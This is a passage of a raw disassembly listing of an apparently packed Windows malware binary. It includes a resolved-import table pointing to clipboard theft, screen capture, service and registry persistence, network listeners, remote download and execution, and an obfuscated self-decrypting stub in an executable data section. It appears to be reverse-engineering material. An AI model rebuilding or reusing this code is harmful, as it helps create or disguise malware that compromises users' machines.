94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_42EF20 dd offset off_41CC94 ; DATA XREF: seg001:off_41CCB8o ; seg001:0041CDE4o ... align 8 a_?avexception@ db '.?AVexception@@',0 off_42EF38 dd offset off_41CC94 ; DATA XREF: seg001:off_41CCD0o ; seg001:0041CD64o ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_42EF58 dd offset off_41CC94 ; DATA XREF: seg001:off_41CCE8o ; seg001:0041CD2Co ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_42EF78 dd offset off_41CC94 ; DATA XREF: seg001:off_41CD70o ; seg001:0041CDB4o ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_42EF98 dd offset off_41CC94 ; DATA XREF: seg001:off_41CDF0o ; seg001:0041CE2Co align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_41891C dd 10Ah dup(0) dword_42F3DC dd 2 dup(0) dword_42F3E4 dd 0 ; seg000:0040E180o ... dword_42F3E8 dd 0 ; sub_4048A1+74o ... dword_42F3EC dd 0 ; sub_403790+51r ... dword_42F3F0 dd 0 ; sub_40318D+6Bw ... align 8 dword_42F3F8 dd 0 ; sub_4053D6+92w ... dword_42F3FC dd 0 ; sub_40550F+2EDw ... dd 256h dup(0) dword_42FD58 dd 6 dup(0) ; sub_40550F+138o ... dword_42FD70 dd 0 ; seg000:004050FCo dword_42FD74 dd 41h dup(0) dword_42FE78 dd 41h dup(0) dword_42FF7C dd 0 ; seg000:0040510Er dword_42FF80 dd 0 dword_42FF84 dd 0 ; seg000:004050C9r dword_42FF88 dd 20h dup(0) ; seg000:004050B4o dword_430008 dd 0 dword_43000C dd 0 ; seg000:004050C1w dword_430010 dd 0 align 8 dword_430018 dd 0 ; seg000:00405328o dword_43001C dd 0A2h dup(0) dword_4302A4 dd 41h dup(0) dword_4303A8 dd 0 ; seg000:004052DBr align 10h dword_4303B0 dd 0 ; seg000:0040533Ar dword_4303B4 dd 0 dword_4303B8 dd 0 dword_4303BC dd 0 dd 0 dword_4303C4 dd 0 dword_4303C8 dd 0 ; seg000:0040521Bo dword_4303CC dd 41h dup(0) dword_4304D0 dd 41h dup(0) dword_4305D4 dd 0 ; seg000:0040522Dr dword_4305D8 dd 0 dword_4305DC dd 0 dword_4305E0 dd 20h dup(0) ; seg000:004051D3o dword_430660 dd 0 dword_430664 dd 0 ; seg000:004051E0w dword_430668 dd 0 align 10h dword_430670 dd 77F16E6Fh ; resolved to->GDI32.DeleteDC ; sub_405D8E+473r dword_430674 dd 7C864230h ; resolved to->KERNEL32.Module32First ; seg000:0040F4E2r dword_430678 dd 42C5AE03h ; resolved to->WININET.InternetGetConnectedStateExA ; sub_405D8E+808r ... dword_43067C dd 5B894364h ; sub_405D8E+9BEr ... dword_430680 dd 5B86FEB8h ; sub_405D8E+98Er ... dword_430684 dd 77F15B80h ; resolved to->GDI32.SelectObject ; sub_405D8E+463r dword_430688 dd 5B894160h ; sub_405D8E+9B6r ... dword_43068C dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_405D8E+34Fr ... dword_430690 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA ; sub_40799C+11Er dword_430694 dd 77DF3238h ; resolved to->ADVAPI32.StartServiceA ; sub_405D8E+357r ... dword_430698 dd 77DFCF32h ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_40E9DB+ADr dword_43069C dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet ; sub_405D8E+4E2w dword_4306A0 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_405D8E+D2r ... dword_4306A4 dd 5B86FDE8h ; sub_405D8E+981r ... dword_4306A8 dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_405D8E+36Fr ... dword_4306AC dd 42C41384h ; resolved to->WININET.InternetCrackUrlA ; sub_405D8E+834r dword_4306B0 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_405D8E+27Cr dword_4306B4 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_405D8E+82Cr ... dword_4306B8 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequencydword_4306BC dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_405D8E+83Cr dword_4306C0 dd 71AC0979h ; resolved to->WS2_32.WSAAsyncSelect ; sub_405D8E+4D5w ... dword_4306C4 dd 7C863F58h ; resolved to->KERNEL32.Process32Next ; sub_405D8E+CAr ... dword_4306C8 dd 76D64B79h ; resolved to->IPHLPAPI.IcmpSendEcho ; seg000:004075F5r dword_4306CC dd 76F3798Ah ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_405D8E+A13r ... dword_4306D0 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_405D8E+F2r dword_4306D4 dd 77F1AC3Dh ; resolved to->GDI32.GetDIBColorTable ; sub_405D8E+45Br dword_4306D8 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_405D8E+57Ew ... dword_4306DC dd 5B8A3009h ; sub_405D8E+9AEr dword_4306E0 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_405D8E+6DCr dword_4306E4 dd 71B25099h dword_4306E8 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; sub_405D8E+7F5r dword_4306EC dd 7E45A045h ; resolved to->USER32.ExitWindowsEx ; sub_4070B7+15r dword_4306F0 dd 5B868E65h ; sub_405D8E+996r ... dword_4306F4 dd 77DEB635h ; resolved to->ADVAPI32.ControlService ; sub_405D8E+35Fr ... dword_4306F8 dd 77E37311h ; resolved to->ADVAPI32.DeleteService ; sub_405D8E+367r ... dword_4306FC dd 71AC0B50h ; resolved to->WS2_32.getpeernamedword_430700 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; seg000:loc_401B70r ... dword_430704 dd 77F16C0Ah ; resolved to->GDI32.DeleteObjectdword_430708 dd 5B894541h ; sub_405D8E+9C6r ... dword_43070C dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_405D8E+284r ... dword_430710 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_405D8E+DAr ... dword_430714 dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA ; sub_405D8E+B1Br ... dword_430718 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; seg000:004018F9r ... dword_43071C dd 42C2CD78h ; resolved to->WININET.HttpSendRequestA ; sub_405D8E+818r dword_430720 dd 5B897BE9h ; sub_405D8E+99Er dword_430724 dd 74344AE7h ; sub_405D8E+BB6r dword_430728 dd 76D64D5Eh ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_405D8E+8B6r ... dword_43072C dd 74327E4Dh dword_430730 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; seg000:004014FCr ... dword_430734 dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_405D8E+7FBr dword_430738 dd 7E41B933h ; resolved to->USER32.IsWindow ; sub_405D8E+1C2r dword_43073C dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_405D8E+72Cr ... dword_430740 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_4048A1+62r ... dword_430744 dd 71AB4489h ; resolved to->WS2_32.WSAIoctl ; sub_405D8E+664r dword_430748 dd 0CC0004h ; sub_405D8E:loc_40660Fw ... dword_43074C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_405D8E+26Cr ... dword_430750 dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_405D8E+627w ... dword_430754 dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_405D8E+2C9r ... dword_430758 dd 77DEAF3Fh ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_405D8E+377r ... dword_43075C dd 743452A3h ; sub_405D8E+BAEr dword_430760 dd 42C24399h ; resolved to->WININET.HttpOpenRequestA ; sub_405D8E+810r dword_430764 dd 7E430237h ; resolved to->USER32.OpenClipboard ; sub_405D8E+1D2r ... dword_430768 dd 42C249F2h ; resolved to->WININET.InternetConnectA ; sub_405D8E+820r dword_43076C dd 71AB2D0Fh ; resolved to->WS2_32.recvfrom ; sub_405D8E+6FCr dword_430770 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_40801D+5Ar ... dword_430774 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; seg000:004014F1r ... dword_430778 dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessToken ; sub_405D8E+2BCr ... dword_43077C dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_405472+82r ... dword_430780 dd 77F1B221h ; resolved to->GDI32.CreateDCA ; sub_405D8E+436r dword_430784 dd 7E430D7Ah ; resolved to->USER32.GetClipboardData ; sub_405D8E+1DAr ... dword_430788 dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_405D8E+342r ... dword_43078C dd 76F37ABDh ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_430790 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; seg000:00401A3Cr ... dword_430794 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; seg000:0040114Fr ... dword_430798 dd 7C863DE5h ; resolved to->KERNEL32.Process32First ; sub_405D8E+C2r ... dword_43079C dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCaps ; sub_405D8E+453r dword_4307A0 dd 7E42DE87h ; resolved to->USER32.FindWindowA ; sub_405D8E+1BAr ... dword_4307A4 dd 5B8A5199h ; sub_40F2C4+72r dword_4307A8 dd 71AB50C8h ; resolved to->WS2_32.gethostname ; sub_405D8E+734r dword_4307AC dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4038A7+1C0r ... dword_4307B0 dd 74343318h ; sub_405D8E+BBEr dword_4307B4 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_405D8E+BAr ... dword_4307B8 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_405D8E+274r ... dword_4307BC dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_405982+9Cr ... dword_4307C0 dd 71AB3E00h ; resolved to->WS2_32.bind ; seg000:00404AC6r ... dword_4307C4 dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; seg000:0040862Er dword_4307C8 dd 0 dword_4307CC dd 743527D4h ; sub_405D8E+B99r dword_4307D0 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; seg000:00401DB4r ... dword_4307D4 dd 77F19219h ; resolved to->GDI32.CreateDIBSection ; sub_405D8E+443r dword_4307D8 dd 77F16F89h ; resolved to->GDI32.BitBlt ; sub_405D8E+46Br dword_4307DC dd 77F15FF0h ; resolved to->GDI32.CreateCompatibleDC ; sub_405D8E+44Br dword_4307E0 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_402773+35r ... dword_4307E4 dd 7E430225h ; resolved to->USER32.CloseClipboard ; sub_405D8E+1E2r ... dword_4307E8 dd 5B86AA41h ; sub_405D8E+9CEr ... dword_4307EC dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_405D8E+1ADr ... dword_4307F0 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeA ; sub_405D8E+E2r ... dword_4307F4 dd 71AB2C69h ; resolved to->WS2_32.sendto ; seg000:00401FF8r ... dword_4307F8 dd 71B2547Ah ; sub_405D8E+AD6r dword_4307FC dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_40F382+55r dword_430800 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_405D8E+25Fr ... dword_430804 dd 7CA235CBh ; resolved to->SHELL32.SHChangeNotifydword_430808 dd 76D6A195h ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_407357+CEr dword_43080C dd 76D69962h ; resolved to->IPHLPAPI.GetIpNetTable ; sub_405D8E+A5Dr ... dword_430810 dd 71AB3B91h ; resolved to->WS2_32.socket ; seg000:00401C2Br ... dword_430814 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_405D8E+61Aw ... dword_430818 dd 7432FF6Bh ; sub_405D8E+BA6r dword_43081C dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_40550F+86r ... dword_430820 dd 5B867750h ; sub_405D8E+9A6r ... dword_430824 dd 71AC1028h ; resolved to->WS2_32.accept ; sub_405982+B3r ... dword_430828 dd 71AB9639h ; resolved to->WS2_32.closesocket ; seg000:00401B69r ... dword_43082C dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_4038A7+39Fr ... dword_430830 dd 71B2578Ch ; sub_405D8E+ACEr dword_430834 dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; seg000:00401919r ... dword_430838 dd 71B2517Fh ; sub_405D8E+AC1r dword_43083C dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorMode ; sub_405D8E+ADr ... dword_430840 dd 7E41DAEAh ; resolved to->USER32.DestroyWindow ; sub_405D8E+1CAr align 8 dword_430848 dd 76D64D33h ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_405D8E+8C3r ... dword_43084C dd 7C8217EAh ; resolved to->KERNEL32.SearchPathA ; sub_405D8E+EAr ... dword_430850 dd 0 ; sub_405D8E+12Bw ... dword_430854 dd 0 ; sub_406977+1Cr dword_430858 dd 0 ; sub_406977:loc_4069BFr dword_43085C dd 0 ; sub_406977+50r dword_430860 dd 0 ; sub_405D8E:loc_406063w ... dword_430864 dd 0 ; sub_406977+84r dword_430868 dd 0 ; sub_406977:loc_406A27r dword_43086C dd 0 ; sub_406977+B8r dword_430870 dd 0 ; sub_406977:loc_406A5Br dword_430874 dd 0 ; sub_406977+ECr dword_430878 dd 0 ; sub_405D8E+877w ... dword_43087C dd 0 ; sub_406977+120r dword_430880 dd 0 ; sub_406977:loc_406AC3r ... dword_430884 dd 0 ; sub_406977+154r dword_430888 dd 0 ; sub_406977:loc_406AF7r ... dword_43088C dd 0 ; sub_406977+188r dword_430890 dd 0 ; sub_406977:loc_406B2Br dword_430894 dd 0 ; sub_406977+1BCr dword_430898 dd 0 ; sub_406977:loc_406B5Fr dword_43089C dd 0 ; sub_406977+1F0r dword_4308A0 dd 0 ; sub_406977:loc_406B93r dword_4308A4 dd 0 ; sub_406977+224r dword_4308A8 dd 0 ; sub_406977:loc_406BC7r dword_4308AC dd 0 ; sub_406977+258r dword_4308B0 dd 0 ; sub_406977:loc_406BFBr dword_4308B4 dd 0 ; sub_406977+28Cr dd 83h dup(0) dword_430AC4 dd 5 dup(0) dword_430AD8 dd 0Eh dup(0) dword_430B10 dd 1000h dup(0) ; sub_407EAEo ... dword_434B10 dd 0 ; sub_407EAE+Eo ... dword_434B14 dd 0Eh dup(0) dword_434B4C dd 3 dup(0) dword_434B58 dd 0 ; sub_407D16+44r ... dd 5 dup(0) dword_434B70 dd 0 ; seg000:00409C8Fr dd 2D9h dup(0) dword_4356D8 dd 0 ; sub_407D16+2Do ... dd 7Fh dup(0) dword_4358D8 dd 0 ; sub_4100F2+40w ... dword_4358DC dd 0 ; sub_40550F:loc_405556r ... dword_4358E0 dd 0 ; sub_4100F2+3Ar ... dword_4358E4 dd 0 ; seg000:00404A94w ... dword_4358E8 dd 0 ; seg000:00405D44r ... dword_4358EC dd 0 ; seg000:0040511Cw ... byte_4358F0 db 0 ; DATA XREF: sub_4090B0+91o ; seg000:0040BD1Fr ... align 4 dd 3F97h dup(0) dword_445750 dd 651Eh dup(0) dword_45EBC8 dd 2FE1h ; sub_4089FD+132w ... align 10h dword_45EBD0 dd 0 dword_45EBD4 dd 20h dup(0) ; sub_4089FD+616o ... dword_45EC54 dd 10h dup(0) ; seg000:00409C14o dword_45EC94 dd 24h dup(0) dword_45ED24 dd 0 ; sub_4089FD+62Dw ... dword_45ED28 dd 0 dd 3 dup(0) dd 0 dword_45ED3C dd 0 ; seg000:00409606r byte_45ED40 db 0 ; DATA XREF: sub_409218+28r ; sub_409218+30o align 8 dword_45ED48 dd 0 ; sub_4089FD+5E1r ... dword_45ED4C dd 0 ; seg000:00409BB8r dword_45ED50 dd 17h dup(0) ; sub_40E52B+131o ... dword_45EDAC dd 7 dup(0) ; sub_40F2C4+A5o dword_45EDC8 dd 0 ; sub_41021E+19o dword_45EDCC dd 78h dup(0) dword_45EFAC dd 0 ; sub_40E8A5+4Dr ... dword_45EFB0 dd 17h dup(0) ; sub_40F190+12Do dword_45F00C dd 80h dup(0) ; sub_40E7E6+7Do ... byte_45F20C db 0 ; DATA XREF: sub_40E8A5+29r ; sub_40E8A5+34w align 10h dword_45F210 dd 80h dup(0) ; sub_40EAFC+88o ... dword_45F410 dd 81h dup(0) ; sub_40E402+50o ... dword_45F614 dd 84h dup(0) dword_45F824 dd 0 dword_45F828 dd 0 ; sub_411914+A4w align 10h word_45F830 dw 0 ; DATA XREF: sub_411914+55r ; sub_411914+9Ao word_45F832 dw 0 ; DATA XREF: sub_411914+48r db 2 dup(0) word_45F836 dw 0 ; DATA XREF: sub_411914+3Br word_45F838 dw 0 ; DATA XREF: sub_411914+2Er word_45F83A dw 0 ; DATA XREF: sub_411914+21r align 10h dword_45F840 dd 0 ; sub_411C60+91w dword_45F844 dd 0 ; seg000:loc_411E7Aw ... dword_45F848 dd 0 ; sub_416300:loc_41639Aw ... dword_45F84C dd 0 dword_45F850 dd 0A28h dword_45F854 dd 501h dword_45F858 dd 5 dword_45F85C dd 1 dword_45F860 dd 1 dword_45F864 dd 0AD0ED0h ; sub_4089FD+410r ... dd 0 dword_45F86C dd 0AD0D70h ; sub_41A1B6+9r ... dword_45F870 dd 0 dword_45F874 dd 0 ; sub_41A654+4r ... dd 0 dd offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" dd 0 byte_45F884 db 0 ; DATA XREF: sub_4125E9+2Dw ; seg000:0041806Dr align 4 dword_45F888 dd 0 dword_45F88C dd 0 ; sub_4125E9+8Bw dword_45F890 dd 0 ; seg000:loc_4175AEr ... align 8 dword_45F898 dd 0 dword_45F89C dd 0 ; sub_41237F:loc_41247Br ... dword_45F8A0 dd 0 dword_45F8A4 dd 0 ; sub_414B6D+1Ar ... byte_45F8A8 db 0 ; DATA XREF: sub_414A69+3r ; sub_414A69+98r ... align 4 dword_45F8AC dd 0 ; sub_414C4B+21w ... byte_45F8B0 db 0 ; DATA XREF: sub_414C4B+51w align 4 dword_45F8B4 dd 0 ; sub_41521C+3Ar ... dword_45F8B8 dd 0 ; sub_41521C+43r ... dword_45F8BC dd 0 ; sub_414FE8+5r dword_45F8C0 dd 0 dword_45F8C4 dd 1 ; seg000:00416BE0w ... align 10h dword_45F8D0 dd 0 ; sub_412027+9Dr ... align 10h dword_45F8E0 dd 0 ; sub_4128E9+BFr ... align 8 dword_45F8E8 dd 1 ; seg000:00416F80w ... dword_45F8EC dd 0 dd 0 dword_45F8F4 dd 0 ; seg000:004173C4w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: seg002:0045F87Co align 4 dd 3Ah dup(0) dword_45F9FC dd 1 ; seg000:00417883w ... dword_45FA00 dd 0 dword_45FA04 dd 0 ; sub_4172B4:loc_4172DDw ... dword_45FA08 dd 1 ; seg000:loc_41814Ew align 10h word_45FA10 dw 0 ; DATA XREF: sub_4187F9+1Ao ; sub_4187F9+46r byte_45FA12 db 0 ; DATA XREF: sub_4187F9+39r align 4 dword_45FA14 dd 7 dup(0) dword_45FA30 dd 0 ; sub_4187F9+5Co dword_45FA34 dd 0 dword_45FA38 dd 0 dword_45FA3C dd 0 dword_45FA40 dd 77C2807Ch ; sub_41891C+38r ... align 8 dword_45FA48 dd 0 ; seg000:00418BE5w ... align 10h dword_45FA50 dd 0 ; seg000:00418BC8r dword_45FA54 dd 10h dup(0) word_45FA94 dw 0 ; DATA XREF: sub_418DE0+A8r word_45FA96 dw 0 ; DATA XREF: seg000:00418BD6r ; sub_418DE0+DBr ... word_45FA98 dw 0 ; DATA XREF: sub_418DE0+CAr word_45FA9A dw 0 ; DATA XREF: sub_418DE0+D3r ; sub_418DE0:loc_418ED2r word_45FA9C dw 0 ; DATA XREF: sub_418DE0+C0r word_45FA9E dw 0 ; DATA XREF: sub_418DE0+B8r word_45FAA0 dw 0 ; DATA XREF: sub_418DE0+B0r word_45FAA2 dw 0 ; DATA XREF: sub_418DE0+9Er dword_45FAA4 dd 0 dword_45FAA8 dd 10h dup(0) word_45FAE8 dw 0 ; DATA XREF: sub_418DE0+46r word_45FAEA dw 0 ; DATA XREF: seg000:loc_418BF9r ; sub_418DE0+78r ... word_45FAEC dw 0 ; DATA XREF: sub_418DE0+67r word_45FAEE dw 0 ; DATA XREF: sub_418DE0+70r ; sub_418DE0:loc_418E64r word_45FAF0 dw 0 ; DATA XREF: sub_418DE0+5Dr word_45FAF2 dw 0 ; DATA XREF: sub_418DE0+55r word_45FAF4 dw 0 ; DATA XREF: sub_418DE0+4Dr word_45FAF6 dw 0 ; DATA XREF: sub_418DE0+3Er dword_45FAF8 dd 0 dword_45FAFC dd 0 ; seg000:loc_418CCEr ... dword_45FB00 dd 0 dword_45FB04 dd 0 dword_45FB08 dd 0 ; sub_4195E1+2Ew ... dword_45FB0C dd 0 ; sub_4195E1:loc_419630r dword_45FB10 dd 0 ; sub_4195E1+60r dword_45FB14 dd 0 ; sub_41A044+6Do dword_45FB18 dd 0 ; sub_41A044+44o dword_45FB1C dd 0 ; sub_41A044+37o dword_45FB20 dd 0 ; sub_41A044+51o align 8 dword_45FB28 dd 0 dword_45FB2C dd 0 ; seg000:0041A780w ... byte_45FB30 db 1 ; DATA XREF: sub_40316Cr sub_40316C+9w ... align 4 dword_45FB34 dd 0AC4968h ; sub_41692A+14r ... align 10h dword_45FB40 dd 400h dup(0) ; seg002:0042E890o dword_460B40 dd 200h ; sub_41647E+56r ... dd 7 dup(0) dword_460B60 dd 0AD0EF0h ; sub_4164EB+75r ... dd 3Fh dup(0) dword_460C60 dd 20h ; sub_4165C4+Cr ... dword_460C64 dd 4E4h ; sub_416DE3+65w ... align 10h dword_460C70 dd 3 dup(0) ; sub_416DE3+171o ... dword_460C7C dd 0 ; sub_416DE3+15Dw ... byte_460C80 db 0 ; DATA XREF: sub_417022:loc_41712Ew ; sub_417022:loc_41714Bw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_460D80 db 0 ; DATA XREF: sub_416DE3+5Co ; sub_416DE3+AFo ... byte_460D81 db 0 ; DATA XREF: sub_4121E8+5Dr ; sub_416DE3+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_460E84 dd 0 ; sub_416DE3+12Bw ... dword_460E88 dd 10h ; sub_413BAF+5r ... dword_460E8C dd 0 ; sub_41357B+259r ... dword_460E90 dd 0AC0650h ; sub_41357B+310w ... dword_460E94 dd 0 ; sub_41357B+22Cr ... dword_460E98 dd 1 ; sub_413550r ... dword_460E9C dd 0AC0650h ; sub_413550+8r ... dword_460EA0 dd 0AC0000h ; sub_410C83+21r ... dword_460EA4 dd 142340h ; seg000:00417511r dword_460EA8 dd 1 ; sub_41A1B6r dword_460EAC dd 1 ; sub_4171A7+11w ... dword_460EB0 dd 0AD1B4Ch ; sub_411613:loc_411655r ... dword_460EB4 dd 0AD1B40h ; sub_411613+Cr ... byte_460EB8 db 1 ; DATA XREF: sub_41AFB4+15r ; sub_41AFB4+1Ew align 200h seg002 ends ; Section 4. (virtual address 00061000) ; Virtual size : 0001B000 ( 110592.) ; Section size in file : 0001B000 ( 110592.) ; Offset to raw data for section: 00061000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _data segment para public 'CODE' use32 assume cs:_data ;org 461000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing db 90h db 60h, 0E8h, 3 dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h, 0FFEDBB5Dh dd 0DD03FFFFh, 1000EB81h, 7D800006h, 0C75014Dh, 2824748Bh dd 8901FE83h, 31754E5Dh, 5053458Dh, 0EDB5FF53h, 8D000009h dd 0E9503545h, 82h, 390000h, 30000h, 7C809AE4h, 3BE000h dd 7C801D77h, 7C80B6A1h, 0 dd 0C0F8B800h, 505023A5h, 5B4E4503h, 1C74C085h, 81E801EBh dd 0A5C0F8FBh, 33357423h, 6A56D2h, 4E75FF56h, 835ED0FFh dd 247500FEh, 458BD233h, 74C08541h, 0FF525207h, 0D0FF3575h dd 8535458Bh, 680D74C0h, 8000h, 75FF006Ah, 3D55FF35h, 61DB0B5Bh dd 16A0675h, 0CC258h, 0D8F7C033h, 0C240C01Bh, 0BB66000Ch dd 0EE8E7C0h, 3E000000h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h dd 0D8816633h, 535F55FAh, 8158F88Ah, 89BC7h, 2BC78B00h dd 0FFFC8AD2h, 49BE3A34h, 590C2D5Dh, 0AEA78BB8h, 9AF1815Ah dd 8101D882h, 16B7CBF1h, 58F0F5Eh, 0BE000000h, 620B2AB9h dd 4BA8E981h, 66512DAEh, 0AFD6F681h, 0E917048Fh, 12h, 29B0F362h dd 0E5DC4FAEh, 61C86BBAh, 9D744786h, 13E8E312h, 3F000000h dd 5B6A550Ch, 3736D1F8h, 0D3C20DA4h, 2F0E0910h, 850FC53Ch dd 6, 817DCB81h, 8358394Eh, 0BF0F03EAh, 8D0F4AF0h, 0 ; --------------------------------------------------------------------------- cmp edx, 0FFFFF84Ch jnz loc_461199 or bl, 0Fh jmp loc_4611BE ; --------------------------------------------------------------------------- dd 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h db 15h ; --------------------------------------------------------------------------- loc_461199: ; CODE XREF: .data:0046117Aj push ecx push 6BA1F3F7h mov esi, 2DF7D893h pop eax pop ebx jmp near ptr dword_461064+93h ; --------------------------------------------------------------------------- db 0EFh dd 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h ; --------------------------------------------------------------------------- sub al, 0F5h loc_4611BE: ; CODE XREF: .data:00461183j call sub_4611D6 ; --------------------------------------------------------------------------- db 8Fh dd 0ABFA251Ch, 87C6A108h, 2352DDB4h, 7F9ED920h db 4Ch, 95h ; =============== S U B R O U T I N E ======================================= sub_4611D6 proc near ; CODE XREF: .data:loc_4611BEp sub dx, 4577h pop ecx call sub_4611EF dec esi outsd jl short near ptr loc_4611E9+1 pop edx mov ebp, [eax-7Fh] loc_4611E9: ; CODE XREF: sub_4611D6+Dj db 26h, 67h adc al, 0BDh mov dl, 3 sub_4611D6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4611EF proc near ; CODE XREF: sub_4611D6+6p add ch, 0ACh pop esi call near ptr loc_461206+2 cwde icebp setalc push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st loc_461206: ; CODE XREF: sub_4611EF+4p mov edx, 0CBB70F6Bh sub_4611EF endp ; sp-analysis failed pop edx add esi, 78Fh movzx ecx, dx mov eax, 1B8h mov cl, 6Ch loc_46121C: ; CODE XREF: .data:00461284j push dword ptr [esi] push ecx push 8690FC5h mov edx, 5D07C0E6h pop ebx pop ebx pop edi movzx ecx, di add edi, 48F1D331h movsx edx, si xor edi, 6360A16h mov dx, 5F70h xor edi, 7F192F97h and dl, 2Bh mov [esi], edi mov ecx, ebx sub esi, 